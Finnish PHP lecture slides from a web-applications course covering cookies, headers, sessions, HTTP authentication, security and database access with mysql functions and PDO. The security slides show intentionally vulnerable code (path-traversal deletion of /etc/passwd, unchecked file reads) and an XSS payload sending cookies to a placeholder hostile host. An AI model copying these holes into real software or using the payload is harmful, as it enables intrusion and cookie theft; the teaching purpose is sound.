CT30A3201 - WWW-sovellukset PHP-perusteet Jouni Ikonen - Jouni.Ikonen lut.fi 8.10.2013 Kalvot Arto Hämäläisen kalvojen pohjalta 1 Jouni Ikonen
Sisältö PHP Evästeiden käyttö HTTP-otsikkotietojen käsittely ja lähetys Istuntotietojen käsittely Käyttäjien tunnistaminen Tietoturvasta 8.10.2013 Jouni Ikonen 2
Evästeet (cookies) HTTP on tilaton protokolla, ja sen perustoiminnallisuudella ei voida yhdistää peräkkäisiä sivulatauksia toisiinsa Evästeen (Cookie) avulla palvelin voi lähettää selaimelle tiedon, jonka avulla se voidaan tunnistaa myöhemmillä latauskerroilla Selain lähettää palvelimen lähettämän evästeen muuttamattomana takaisin palvelimelle mikäli evästeiden käyttö on estetty selaimen asetuksissa, niitä ei luonnollisesti voi käyttää evästeelle voidaan asettaa voimassaoloaika, ja lisäksi voidaan määritellä, poistetaanko se selainohjelmaa suljettaessa käyttäjä voi poistaa evästeen selainohjelmasta, ja palvelinpäästä voidaan myös pyytää poistamaan eväste esim. asettamalla sen päättymisaika menneisyyteen 8.10.2013 Jouni Ikonen 3
Evästeet (Cookies) Evästeet lähetetään HTTP-otsikoissa ennen varsinaista dokumenttia Evästeiden lähetys voidaan tehdä PHP:n avulla, kutsumalla evästeen lähettämisfunktiota heti dokumentin alussa, ennen sivun varsinaista sisältöä funktion paluuarvo kertoo, onnistuiko tiedot lähettää vai oliko sivun sisältöä jo lähetetty (ei kerro, hyväksyikö käyttäjä evästeen) <?php /* Cookie asetettava ennen tiedoston sisällön tulostamista */ $value = "Cookien sisältö"; $paluuarvo = setcookie("testicookie", $value, time()+3600);?> <!DOCTYPE html... 8.10.2013 Jouni Ikonen 4
Evästeet (Cookies), PHP PHP:ssä evästeiden asetukseen ja lähettämiseen selaimelle on 2 funktiota: setcookie( string nimi [, string arvo [, int voimassaoloaika [, string polku [, string toimialue [, bool suojattu[, bool $httponly ] ]]]]] ) setrawcookie() on vastaava ilman sisällön URLkoodausta nimi kuvaus esimerkki nimi evästeen nimi (pakollinen) käytetään cookie-taulukossa avaimena arvo selaimelle tallennettava tieto luettaessa: $_COOKIE['nimi'] voimassaoloaika miten kauan voimassa time()+60*60*24 (vuorokausi) polku missä luettavissa /athamala/ luettavissa vain palvelimen hakemistossa /athamala/ toimialue suojattu käytettävän toimialueen (domainin) nimi tarvitaanko suojattu HTTPSyhteys evästeen siirtoon www.example.com 0 tai 1 (false tai true) 8.10.2013 Jouni Ikonen 5
Evästeet (Cookies), PHP Selaimelta lähetetyt, aikaisemmilla selauskerroilla tallennetut evästeet ovat automaattisesti käytössä $_COOKIE[] -taulukossa Mikäli evästettä ei ole asetettu ja lähetetty aikaisemmin selaimelle, tai se on vanhentunut, $_COOKIE[]-taulukon kyseinen kenttä on tyhjä jos ei muita evästeitä ole, $_COOKIE[] on tyhjä if (isset($_cookie['testicookie'])) { echo "<p>eväste löytyi, tulostetaan sen sisältö: \"".$_COOKIE['TestiCookie']."\"</p>"; } else { echo "<p>evästettä ei asetettu</p>"; } 8.10.2013 Jouni Ikonen 6
Evästeet (Cookies), PHP Evästeiden poisto tapahtuu myös setcookie()- funktiolla, nimi ja muut käytetyt argumentit yksilöivät evästeen toinen kenttä (cookien sisältö) asetetaan tyhjäksi ("") tai epätodeksi (FALSE) totuusarvon (FALSE) avulla tapahtuvan poiston takia varsinaisena evästeen arvona ei tulisi käyttää totuusarvoa vaihtoehtoinen tapa on asettaa 3. argumentti (voimassaoloaika) menneisyyteen, esim. time()- 3600 8.10.2013 Jouni Ikonen 7
Evästeet (Cookies), PHP evästeen asetus: <?php /* Cookie asetettava ennen tiedoston sisältöä */ $value = "Selaimen yksilöivä ja tunnistava merkkijono"; $paluuarvo = setcookie("testicookie", $value, time()+3600);?> evästeen käyttö: if (isset($_cookie['testicookie']) ) { echo "<p>cookie löytyi, tulostetaan sen sisältö: \"".$_COOKIE['TestiCookie']."\" </p>"; } 8.10.2013 Jouni Ikonen 8
HTTP-otsikkotietojen lähetys PHP:llä PHP:n avulla voidaan lisätä ja lähettää palvelimen ja selainohjelman välissä käytettävän HTTP-siirtoprotokollan otsikkokenttiä Otsikkotiedot lisätään header(string string [, bool replace [, int http_response_code]] )-funktiolla oletusarvoisesti korvataan edellinen samanniminen kenttä, mutta voidaan myös lisätä replace-argumentin arvoksi false, mikä lisää toisen samannimisen otsikon, http_response_code määrittelee HTTP-vastauksen tila-arvon headers_sent() -funktiolla voidaan tarkistaa, onko otsikot jo lähetetty selaimelle, vai voidaanko vielä lähettää lisää otsikoita palauttaa TRUE, jos otsikot jo lähetetty, ja FALSE, jos otsikoita voidaan vielä lisätä ja vaihtaa Otsikkokenttien avulla voidaan mm. määrittää dokumentin muoto ohjata uudelle sivulle ilmoittaa virhe sivua ladatessa pyytää käyttäjäntunnistusta jne. 8.10.2013 Jouni Ikonen 9
HTTP-otsikkotiedot, uudelleenohjaus PHP:n avulla voidaan selaimen pyyntö ohjata uudelle sivulle Tapahtuu header("location: osoite") -funktiolla HTTP/1.1 -protokollamääritys vaatii absoluuttisen osoitteen ohjausarvona suhteellisen sijaan, mutta selaimet ymmärtävät kyllä suhteellisen Varmempaa siis kuitenkin käyttää absoluuttista osoitetta, joka voidaan muodostaa dynaamisesti esim. <?php $palvelin = $_SERVER['HTTP_HOST']; $hakemisto = rtrim(dirname($_server["php_self"]), '/\\'); $sivu = 'header2.php'; if (!headers_sent()) { header("location: http://$palvelin$hakemisto/$sivu"); exit; } else { echo "virhe, otsikot jo lähetetty"; }?> 8.10.2013 Jouni Ikonen 10
HTTP-otsikkotiedot, dokumenttityypin määrittely esim. lataapdf.php?file=tiedosto <?php /* asetetaan otsikkokentillä tyypiksi pdf ja määritellään tiedosto ladattavaksi liitetiedostoksi, poistetaan mahdolliset hakemistot tiedostonimestä, ettei pääse lukemaan ihan mitä tahansa tiedostoa */ if (!empty($_get['file'])) { $luettavatiedosto = basename($_get['file']); $luettavatiedosto.= ".pdf"; header('content-type: application/pdf'); header('content-disposition: attachment; filename='.$luettavatiedosto); readfile($luettavatiedosto); } else { echo "<form method=\"get\">tiedoston nimi (esim. \"luentox\"): <input type=\"text\" name=\"file\" /></form>"; }?> 8.10.2013 Jouni Ikonen 11
HTTP-otsikkotiedot, virhekäsittelijä Mikäli halutaan määritellä palvelin palauttamaan virhetapauksessa (esim. tiedostoa ei löydy) erilainen virhesivu, voidaan se tehdä määrittelemällä virheenkäsittelijäksi php-sivu, jossa lähetetään otsikkotietona virhetieto ja sen jälkeen näytetään haluttu virheilmoitus virhe.php: <?php if (!headers_sent()) { header("http/1.0 404 Not Found"); }?> <!DOCTYPE... 8.10.2013 Jouni Ikonen 12
Istuntotietojen käsittely Istuntotietojen avulla voidaan tallentaa tietoa käsiteltäväksi myöhemmissä php-sivuissa, joita samalla kerralla haetaan Sivuilla vierailevalle annetaan yksilöllinen tunniste, joka tallennetaan evästeeksi tai välitetään otsikkotiedoissa mukana Mikäli php-esikäsittelijän asetuksissa (ei siis php-koodissa) on määritelty istunnon automaattinen aloitus (session.auto_start = 1), tai skriptissä kutsutaan funktiota session_start(), mahdollistetaan muuttujien tallennus istuntotietoihin tieto istunnosta luodaan, kun ensimmäinen muuttuja rekisteröidään istuntotietoihin (seuraava kalvo) huom. mikäli automaattinen aloitus on käytössä, ei voida olioita tallentaa istuntotietoihin, koska luokkamääritykset tulee ladata ennen istunnon aloitusta olion uudelleenluomisen takia 8.10.2013 Jouni Ikonen 13
Istuntotietojen käsittely Tietoja mahdollista tallentaa istunnon ajaksi $_SESSION[]-taulukkoon (suositeltava) tai session_register() -funktiolla (vanhentunut) session_unregister(), session_is_registered() -funktioilla poistetaan tai tarkistetaan muuttuja istuntotiedoista $_SESSION[]-taulukon kenttiä voidaan käsitellä samalla tavoin kuin muitakin muuttujia esim. unset($_session['laskuri']); isset($_session['laskuri']); session_destroy(); 8.10.2013 Jouni Ikonen 14
Istuntotietojen käsittely <?php session_start(); <html> // The session_start() function must appear BEFORE the if(isset($_session['views'])) $_SESSION['views']=$_SESSION['views']+1; else $_SESSION['views']=1; // if $SESSION['views'] does not exist create it echo "Views=". $_SESSION['views'];?> More: http://php.net/manual/en/function.session-start.php 8.10.2013 Jouni Ikonen 15
Istuntotietojen välitys Istuntotietojen tunniste voidaan välittää eri kutsujen välillä evästeiden avulla (voimassaolo siihen asti, kunnes selain suljetaan), oletusevästeenä $_COOKIE['PHPSESSID'] URL-osoitteen parametrina Istuntotiedoista välitetään selaimelle vain istuntotunniste, muut istuntokohtaiset tiedot $_SESSION -taulukossa pidetään vain palvelimella Evästeiden käyttöä suositellaan istuntotunnisteen välitykseen, mutta PHP tarjoaa vaihtoehtoiseksi myös URL-osoitteeseen koodauksen URL-osoitteessa näkyminen vaatii use_trans_sid -asetusarvon päälle laittamista php-esikäsittelijän asetuksista (nykyisissä versioissa poissa käytöstä oletuksena) voi aiheuttaa ongelmia, mikäli istuntotietoja tallennetaan kirjanmerkkeihin tai julkisten tietokoneiden välimuisteihin 8.10.2013 Jouni Ikonen 16
HTTP-käyttäjäntunnistus PHP:llä Mikäli PHP:tä ajetaan Apache-palvelimen moduulina, voidaan PHP:ssä käyttää HTTP-käyttäjäntunnistuslaatikkoa Käyttäjäntunnistus voi olla Basic- (käyttäjän tunnus ja salasana lähetetään selaimelta palvelimelle) tai Digest-tyyppiä (salasanalla muodostetaan vastaus satunnaiseen haasteeseen, eikä sitä lähetetä verkon yli) Käyttäjän syöttämät tiedot tallentuvat muuttujiin $_SERVER['PHP_AUTH_USER'] sisältää käyttäjätunnuksen $_SERVER['PHP_AUTH_PW'] sisältää salasanan (ei Digestvaihtoehdossa) $_SERVER['PHP_AUTH_DIGEST'] sisältää Digestautentikoinnissa saadun vastauksen Näitä muuttujia voidaan sitten vertailla sallittuihin tunnuksiin ja niiden salasanoihin 8.10.2013 Jouni Ikonen 17
HTTP-käyttäjätunnistus PHP:llä <?php if (!isset($_server['php_auth_user'])) { header('www-authenticate: Basic realm="testisivu"'); header('http/1.0 401 Unauthorized'); /* lähetetään 401-tilaviesti, joka tarkoittaa käyttäjäntunnistuksen vaatimista */ echo 'Et ole tunnistautunut'; exit; } else { // tässä tilanteessa pitää tarkistaa, että alla olevilla tunnuksilla on oikeutta jotain tehdä! echo "<p>olet siis \"{$_SERVER['PHP_AUTH_USER']}\", ja "; echo "salasanasi on \"{$_SERVER['PHP_AUTH_PW']}\"</p>"; }?> More: http://php.net/manual/en/features.http-auth.php 8.10.2013 Jouni Ikonen 18
Tietoturva Riippuen palvelimen asetuksista, PHP:llä voidaan ajaa hyvinkin vapaasti erilaisia toimintoja pääsy palvelimen tiedostoihin yhteydet palvelimelta muihin koneisiin järjestelmäkomentojen ajo palvelimella Sen takia tuleekin tietoturvaa miettiä PHP-sivuja luodessa erittäin tarkkaan Tietoturva muodostuu sekä palvelimen oikeanlaisesta konfiguroinnista että PHP-skriptien tietoturvasta 8.10.2013 Jouni Ikonen 19
Tietoturva Kaksi tärkeää perusasiaa: Palvelimen konfiguroinnissa PHP-moduulille annetavaan vain tarpeelliset oikeudet Tarkista skriptissä kaikki syötteet, jotka tulevat käyttäjältä tai muualta varmistamattomasta lähteestä WWW-palvelimen hakemistossa olevalla tiedostolla on URL-osoite, jonka avulla voidaan kutsua suoraan (vaikkei tarkoitus olekaan, vaan esim. php:n include():lla), mikäli ei ole palvelimesta estetty (tarkkana nimeämisten ja liitettävien tiedostojen hakemiston valinnan kanssa) Tarkistamattomien syötteiden ja väärien oikeuksien avulla voi saada pahaa jälkeä tiedostojärjestelmässä ja tietokantayhteyksissä Käydään tietokantakyselyiden tietoturvasta tarkemmin ensi kerralla, kun käsitellään tietokantojen käyttöä PHP:llä yleensäkin 8.10.2013 Jouni Ikonen 20
Tietoturva, lomakkeen käsittely PHP-skriptissä ei voi olettaa, että lomakkeen tietoja käsitellessä asiakaspuolen tarkistukset olisivat tarpeeksi kattavat javascript-tarkistukset voi ohittaa kytkemällä javascriptin pois selaimen asetuksista lomakkeeseen määritellyt arvot voi ilkeämielinen ohittaa tekemällä uuden lomakkeen tai vaikka kutsumalla skriptiä muulla tavoin, esim. telnet-yhteyden kautta tai omalla ohjelmalla <form action="/process.php" method="post"> <select name="color"> <option value="red">red</option> <option value="green">green</option> <option value="blue">blue</option> </select> <input type="submit" /> </form> <form action="http://example.org/process.php" method="post"> <input type="text" name="color" /> <input type="submit" /> </form> http://phpsec.org/projects/guide/2.html#2.1 8.10.2013 Jouni Ikonen 21
Tietoturva, syötteen käsittely <?php /* käyttäjän määrittelemien tiedostojen lukeminen onnistuu kätevästi samasta hakemistosta, mutta onko turvallista? */ $tiedosto = $_GET['tiedosto']; $hakemisto = './' // nykyinen hakemisto $hakemistotiedosto = $hakemisto.$tiedosto; $jep = readfile($hakemistotiedosto);?> 8.10.2013 Jouni Ikonen 22
Tietoturva <?php // remove a file from the user's home directory $username = $_POST['user_submitted_name']; $homedir = "/home/$username"; $file_to_delete = "$userfile"; unlink ("$homedir/$userfile"); echo "$file_to_delete has been deleted!";?> <?php // removes a file from anywhere on the hard drive that // the PHP user has access to. If PHP has root access: $username = "../etc/"; $homedir = "/home/../etc/"; $file_to_delete = "passwd"; unlink ("/home/../etc/passwd"); echo "/home/../etc/passwd has been deleted!";?> 8.10.2013 Jouni Ikonen 23
Tietoturva <?php // removes a file from the hard drive that // the PHP user has access to. $username = $_SERVER['REMOTE_USER']; // tunnistettu käyttäjä // käyttäjän kotihakemiston muodostus $homedir = "/home/$username"; $file_to_delete = basename("$userfile"); // poistaa polut unlink ($homedir/$file_to_delete); $fp = fopen("/home/logging/filedelete.log","+a"); // kirjoittaa lokiin poiston tiedot $logstring = "$username $homedir $file_to_delete"; fwrite ($fp, $logstring); fclose($fp); echo "$file_to_delete has been deleted!";?> 8.10.2013 Jouni Ikonen 24
Tietoturva, "cross-site scripting" XSS Cross-site scripting -termillä (XSS) tarkoitetaan hyökkäyksiä, joiden avulla käyttäjän luottamalla sivulla näytetäänkin toisen sivun sisältöä vähän edelliseen liittyvä, koska usein näytettävä data on määritelty lomakkeen syötteen avulla erityinen uhka käyttäjien luottamilla sivuilla, joilla paljon käyttäjien syöttämän tekstin näyttämistä, esim. keskustelupalstat XSS-uhkia voidaan välttää varmistamalla ulkoisesta lähteestä tulevan datan oikeellisuus käyttämällä PHP:n sisäänrakennettuja funktioita muokkaamaan syötteistä oikeellisia muotoja, esim. htmlentities() tekee html:n käyttämistä merkeistä html - erityismerkittyjä, esim. "< >" "< >" strip_tags() poistaa html- ja php-tagit merkkijonosta utf8_decode() koodaa utf8-merkistöön koodatun ISO-8859-1 - merkistön mukaisen tekstin ISO-8859-1 -merkistöön suhtautumalla kriittisesti kaikkeen dataan, kunnes ne on varmasti korjattu 8.10.2013 Jouni Ikonen 25
XSS, esimerkki PHP-skripti (esim. vieraskirja) <form> <input type="text" name="message"> <br /> <input type="submit"> </form> <?php if (isset($_get['message'])) { $fp = fopen('./messages.txt', 'a'); fwrite($fp, "{$_GET['message']}<br />"); fclose($fp); } readfile('./messages.txt');?> Mitä jos käyttäjä syöttääkin viestiksi <script> document.location = 'http://paha.osoite.fi/sivu.php? cookies=' + document.cookie </script>? OK, hyvin konfiguroiduilla nykyisellä versiolla ei välttämättä mitään, koska syötteessä käsitellään jo tietyt merkit automaattisesti, mutta antaa aihetta www-sovelluskehittäjänkin miettiä tiettyjä tietoturva-asioita 8.10.2013 Jouni Ikonen 26
Tietoturva, Include-sivujen käyttö tietokantaskripti.php <?php /* pistetään asetukset sopivasti tiedostoon, josta ne luetaan mukavasti eri skripteistä */ include('db.inc') db.inc: <?php $mysql_host = "localhost"; $mysql_user = "jee"; $mysql_pass = "joo"; // tehdään tietokannalle jotain?> Mikäli sisällytettävä tiedosto db.inc on nimetty esimerkin kaltaisesti ja pistetty WWWpalvelimen sivuhakemistoon, eikä palvelimella ei ole.inc -tiedostoja pistetty käsittelyyn PHP-esikäsittelijän kautta, sisällytettävän tiedoston nimen arvaamalla voidaan selvittää arkaluontoisia asioita, esim. käyttäjätunnuksia - toisaalta myös näiden sivujen suora PHPkäsittely voi myöskin aiheuttaa ongelmia, mikäli kehittäjä ei ole huomioinut asiaa?> 8.10.2013 Jouni Ikonen 27
CT30A3201 - WWW-sovellukset Tietokantojen käyttö WWWsovelluksissa Jouni.Ikonen lut.fi 8.10.2013 Kalvot Arto Hämäläisen kalvojen pohjalta 1 Jouni Ikonen
Tietokannan käyttö PHP:ssä PHP sisältää sisäänrakennetun tuen useille eri tietokannoille ja tietokantayhteyksille MySQL, Oracle, PostgreSQL, SQLite, ODBC,... Käsitellään esimerkkinä MySQL-tietokannan käyttöä lähes poikkeuksetta vastaavat funktiot löytyvät myös muille mainituille tietokannoille, ja lisäksi... PHP:n versiossa 5 on esitelty PHP Data Objects -malli, jolla pyritään luomaan yhtenäinen liityntä eri tietokantoihin tietokantayhteyden määrittelevät funktion argumentit riippuvat käytettävästä tietokannasta, muuten toiminnot ovat yhtäläiset eri tietokantojen välillä 8.10.2013 Arto Hämäläinen & Jouni Ikonen 2
Tietokantayhteyden vaiheet Tietokantaa käyttävä PHP-skripti suorittaa yleensä seuraavat toiminnot: yhteyden luominen tietokantaan (osoite, käyttäjätunnus, salasana) käytettävän tietokannan valinta ja kyselyn suorittaminen kyselyn palauttaman tiedon haku tulosresurssista taulukkoon tai olioon ja tietojen käsittely skriptissä vain kyselyissä, joissa haetaan tietoa yhteyden katkaisu 8.10.2013 Arto Hämäläinen & Jouni Ikonen 3
PHP, Tietokantayhteyden luominen Tietokantayhteys luodaan PHP-skriptistä joko mysql_connect() tai mysql_pconnect() -funktioilla, jotka palauttavat onnistuessaan yhteyden tunnisteen tai epäonnistuessaan arvon epätosi (false) mysql_pconnect() luo pysyvän yhteyden, joka ei katkea skriptin suorituksen jälkeen, uudet tämän funktion kutsut palauttavat aikaisemmin luodun yhteyden tunnisteen yhteydenmuodostuksen tyypin vaihto ei vaikuta skriptin toimintaan, tehokkuuteen voi kylläkin vaikuttaa $yhteys = mysql_connect('localhost', 'kayttaja', 'salasana'); if (!$yhteys) { } die( "Tietokantayhteys epäonnistui: ". mysql_error()) ; echo "Tietokantayhteys onnistui"; // suoritetaan halutut komennot // voidaan sulkea lopuksi haluttaessa komennolla mysql_close(); 8.10.2013 Arto Hämäläinen & Jouni Ikonen 4
PHP, tietokannan valinta ja kyselyn suoritus Käytettävä tietokanta valitaan funktiolla mysql_select_db('tietokannan_nimi') Tietokantakysely suoritetaan funktiolla $tulos = mysql_query('kysely') onnistunut kysely palauttaa tulosresurssin tai totuusarvon tosi (riippuen kyselyn tyypistä), epäonnistunut totuusarvon false (epätosi) /* valitaan tietokanta */ mysql_select_db('oma_tietokanta') or die ('Tietokannan valinta epäonnistui'); /* määritellään kysely ja suoritetaan se */ $kysely = 'select * from henkilo'; $tulos = mysql_query($kysely) or die ('Kysely epäonnistui: '. mysql_error()); 8.10.2013 Arto Hämäläinen & Jouni Ikonen 5
PHP, tulosresurssin käsittely Onnistuneen kyselyn jälkeen tietokantakyselyn tulosresurssi (mikäli kyseessä oli tiedon haku) voidaan käydä läpi rivi riviltä siirtäen tietokannan tiedot PHP:n sisältämiin tietotyyppeihin Kunkin rivin tiedot voidaan tallentaa taulukkomuotoon suorittamalla silmukassa $taulukko = mysql_fetch_array($tulos) -funktio funktiolle voidaan määritellä toisena argumenttina taulukon avainten haluttu muoto: MYSQL_ASSOC (tietokannan sarakkeen nimi), MYSQL_NUM (numero), MYSQL_BOTH (molemmat, oletus) Vaihtoehtoisia funktioita kyselyresurssin läpikäymiseen ovat mysql_fetch_row() (samanlainen kuin mysql_fetch_array MYSQL_NUM -määrityksellä ja mysql_fetch_object() (palauttaa olion) 8.10.2013 Arto Hämäläinen & Jouni Ikonen 6
PHP, tulosresurssin käsittely mysql_fetch_... -funktiot palauttavat kerrallaan yhden rivin ja siirtävät sisäistä osoitinta rivin verran eteenpäin Mikäli tietoja ei enää ole saatavilla, funktiot palauttavat totuusarvon epätosi Niiden käyttö tulee siis sisällyttää esim. while-silmukkaan tyhjän haun sattuessa while-silmukan sisältöä ei suoriteta yhtään kertaa Haluttaessa palautettujen rivien määrä saadaan funktiolla mysql_num_rows($tulos), ja muokkauskyselyssä muokattujen rivien määrä funktiolla mysql_affected_rows($yhteys) /* käydään läpi tulosresurssia */ while ($taulukko = mysql_fetch_array($tulos, MYSQL_BOTH)) { } echo "Sarake 1:". $taulukko[0]; // tai $taulukko['sarake1'] 8.10.2013 Arto Hämäläinen & Jouni Ikonen 7
Tietokannan käyttö PHP:ssä, yhteenveto $host = "localhost"; //tietokannan osoite $database = "oma_tietokanta"; //tietokannan nimi $user = "username"; //käyttäjänimi $password = "salasana"; //salasana mysql_connect($host, $user, $password); mysql_select_db($database) or die ("Database selection failed"); $query = "select * from taulu"; $tulos = mysql_query($query); /* tehdään jotain kyselyn tulokselle */ mysql_close(); // suljetaan yhteys 8.10.2013 Arto Hämäläinen & Jouni Ikonen 8
PHP, tietoturva tietokannan käytössä Merkittävin uhka tietoturvalle PHP-käytössä on tarkistamattomat kyselyt, joissa käytetään käyttäjän antamaa syötettä Tarkistamaton kysely saattaa mahdollistaa tietokannan tietojen lukemisen, muuttamisen, poiston tai oikeuksien muutoksen Turvalliseen käyttöön on useita ohjeita käytä tunnusta, jolla on vain välttämättömimmät oikeudet tietokantaan tarkista, onko annettu tieto oikeaa tyyppiä, ja tarvittaessa muunna tieto haluttuun muotoon, esim. settype($offset, 'integer'); $query = "SELECT id, name FROM products ORDER BY name LIMIT 20 OFFSET $offset"; käytä erikoismerkkien asianmukaiseen käsittelyyn tarkoitettuja funktioita kyselyä valmistellessa, esim. MySQL:n kanssa mysql_real_escape_string() älä tulosta skriptissä tietokantaan liittyviä tietoja, ettei sitä paljastu tärkeitä tietoja tietokannasta 8.10.2013 Arto Hämäläinen & Jouni Ikonen 9
PHP Data Objects, PDO PHP Data Objects (PDO) -laajennus sisältää yhtenäisen liitynnän eri tietokantoihin PHP:stä saatavissa alkaen PHP:n versiosta 5 käytettävän tietokannan vaihto onnistuu PDOluokan muodostinfunktion argumentteja vaihtamalla varsinaiset käyttöfunktiot ovat samat kaikille tietokannoille Tuki eri tietokannoille on PDO:n mukaisissa tietokannan ajureissa PDO-ajurit olemassa yleisimmille tietokannoille (MySQL, Oracle, PostgreSQL, SQLite, ODBC, jne.) 8.10.2013 Arto Hämäläinen & Jouni Ikonen 10
PDO, Yhteyden luonti Tietokantayhteys luodaan luomalla PDO-luokan olio $yhteys = new PDO(...) luokkana tietokantatyypistä riippumatta PDO Luokan muodostinfunktiolle annetaan argumenttina tietokannasta riippuva yhteyden määrittelevä merkkijono ja mahdollisesti käyttäjänimi ja salasana esim. MySQL: $yhteys = new PDO('mysql:host=localhost;dbname=oma_tietokanta', $kayttaja, $salasana); esim. SQLite2: $yhteys = new PDO('sqlite2:.\tietokanta.db'); Yhteys puretaan asettamalla olion muuttujan arvoksi null, esim. $yhteys = null; 8.10.2013 Arto Hämäläinen & Jouni Ikonen 11
PDO, Kyselyn vaiheet Kysely valmistellaan tietokantayhteyden olion prepare()-funktiolla $kysely = $yhteys->prepare('select * FROM henkilo'); Kysely suoritetaan execute()-funktiolla $kysely->execute(); funktion palautusarvosta voidaan tarkistaa sen onnistuminen Kyselyn tuloksia voidaan käsitellä olion fetch() -jäsenfunktion avulla 8.10.2013 Arto Hämäläinen & Jouni Ikonen 12
PDO, muuttujien sitominen valmisteltuihin kyselyihin PDO:n avulla voidaan muodostaa dynaamisia kyselyitä sitomalla muuttujia valmisteltuihin kyselyhin bindparam() -funktiolla muuttujat voidaan sitoa nimettyihin kohtiin kyselyssä, $kysely->bindparam(':nimi', $nimi) indeksein, joihin viitataan kyselyssä?-merkillä $kysely->bindparam(1, $nimi); $kysely->prepare('select * from henkilo where etunimi = :nimi ') $kysely->bindparam(':nimi', $etunimi); // TAI $kysely->prepare('select * from henkilo where etunimi =? ') $kysely->bindparam(1, $etunimi); 8.10.2013 Arto Hämäläinen & Jouni Ikonen 13
PDO, muuttujien sitominen valmisteltuihin kyselyihin Suoritettaessa kyselyä execute()-funktiolla sijoitetaan muuttujien arvot kyselyihin sidotuille paikoilleen Muuttujan arvoa muuttamalla ja kutsumalla execute()-funktiota uudestaan saadaan aikaisemmin valmisteltu kysely suoritettua uudestaan uudella muuttujan arvolla Esim. taulukon tiedot voidaan lisätä tietokantaan foreachsilmukassa sijoittamalla sidottuihin muuttujiin taulukon kenttien arvot ja kutsumalla PDO:n execute-funktiota silmukan ajokerroilla 8.10.2013 Arto Hämäläinen & Jouni Ikonen 14
Yksinkertainen PDO-esimerkki // yhteydenmuodostus riippuu käytettävästä tietokannasta $yhteys = new PDO('mysql:host=localhost;dbname=test', $kayttaja, $salasana); // kyselyn määritys ja valmistelu, haetaan kaikkien Brianeiden tiedot $etunimi = 'Brian'; $kysely = $yhteys->prepare('select * FROM henkilo WHERE etunimi =?'); $kysely->bindparam(1, $etunimi); // kyselyn suoritus ja tuloksen käsittely if ($tila = $kysely->execute()) { } while ($rivi = $kysely->fetch()) { print_r($rivi); } $etunimi = 'Matti'; $kysely->execute(); //... Mattien tietojen haku $yhteys = null; // yhteyden sulkeminen 8.10.2013 Arto Hämäläinen & Jouni Ikonen 15
Yksinkertainen PDO-esimerkki, lisäys $yhteys = new PDO('mysql:host=localhost;dbname=test', $kayttaja, $salasana); // kyselyn määritys ja valmistelu $kysely = $yhteys->prepare('insert INTO henkilo (etunimi, sukunimi, puhelinnro) VALUES (:etunimi, :sukunimi, :puhelinnro)'); $kysely->bindparam( :etunimi, $etunimi); $kysely->bindparam( :sukunimi, $sukunimi); $kysely->bindparam( :puhelinnro, $puhelinnro); $etunimi = "Brian"; $sukunimi = "Kottarainen"; $puhelinnro = '040-4444444'; $kysely->execute(); // Brianin tiedot $etunimi = "Matti"; $sukunimi = "Meikäläinen"; $puhelinnro = '050-5555555'; $kysely->execute(); // Matin tiedot $yhteys = null; // yhteyden sulkeminen 8.10.2013 Arto Hämäläinen & Jouni Ikonen 16
PHP DOM-funktiot PHP:n avulla on mahdollista käsitellä dokumentteja Document Object Model -mallin (DOM) mukaisesti PHP:n DOM-funktiot on tarkoitettu erityisesti XML-tiedostojen käsittelyyn, mutta XHTML-tiedostojen käsittelykin onnistuu hyvin DOM-luokan olio voidaan luoda tyhjästä tai lukea olemassa oleva tiedosto Tiedosto voi olla paikallinen tai etätiedosto 8.10.2013 Arto Hämäläinen & Jouni Ikonen 17
PHP DOM-funktiot DOM-luokan olio voidaan luoda tyhjästä tai lukea olemassa oleva tiedosto Tiedosto voi olla paikallinen tai etätiedosto $dom = new DomDocument(); $dom->loadhtmlfile( "http://esimerkki.fi/exercises.html" ); Esim. vaihdetaan sivun tyylikirjaston osoite, halutaan käyttää testi.css - tyylitiedostoa: $linkit = $dom->getelementsbytagname('link'); for ($i = 0; $i < $linkit->length; $i++) { if ($linkit->item($i)->getattribute('rel') == 'stylesheet'){ $linkit->item($i)->setattribute('href', 'testi.css'); } } 8.10.2013 Arto Hämäläinen & Jouni Ikonen 18
PHP DOM-funktiot Poistetaan kaikki <p></p> -elementit (kappaleet tiedostosta $runko = $dom->getelementsbytagname('body')->item(0); $kappaleet = $dom->getelementsbytagname('p'); $maara = $kappaleet->length; for($i=0;$i<$maara;$i++) { @$runko->removechild($kappaleet->item(0)); } Lisätään uusi elementti $element = $dom->createelement("h2", "Uusi kakkostason otsikko"); $dom->appendchild($element); Tulostetaan dokumentti näytölle echo $dom->savehtml(); 8.10.2013 Arto Hämäläinen & Jouni Ikonen 19
PHP, PDF-funktiot PHP:n avulla voidaan luoda ja käsitellä PDF-tiedostoja yleisimmin käytetty PDFLib -kirjastoa (www.pdflib.com), myös vapaita kirjastoja olemassa PDF-tiedostojen luontiin PHP:llä (esim. FPDF ) PHP5:ssä voidaan käyttää PHP5:n oliomallin mukaista ohjelmointirajapintaa, PHP4:ssä erillisiä funktioita esim. dokumentin luonti FPDF-kirjastoa käyttäen käyttäen: /* PHP 5 */ require('fpdf.php'); /* ladataan fpdf-toiminnot fpdf:sta, joka on asennettu */ $pdf=new FPDF(); /* oletuksena Pysty A4 -koko ja millimetrit yksiköinä, sama kuin $pdf=new FPDF('P','mm','A4'); */ /* tämän jälkeen $pdf-oliota käyttäen voidaan pdf-dokumenttiin lisätä tietoa */ 8.10.2013 Arto Hämäläinen & Jouni Ikonen 20
PHP, FPDF-funktiot Funktioiden avulla voidaan käsitellä PDF:n näkyvää sisältöä ja sen yleisiä tietoja (tekijä yms.) <?php require('fpdf.php'); $pdf=new FPDF(); $pdf->setauthor("arto Hämäläinen"); $pdf->addpage(); $pdf->image('kuva.jpg', 0, 0, 150); $pdf->setfont('arial','b',16); $pdf->setxy(5,40); $pdf->cell($pdf->getstringwidth('esimerkkiteksti')+5,10,'esimerkkiteksti',1); $pdf->output();?> 8.10.2013 Arto Hämäläinen & Jouni Ikonen 21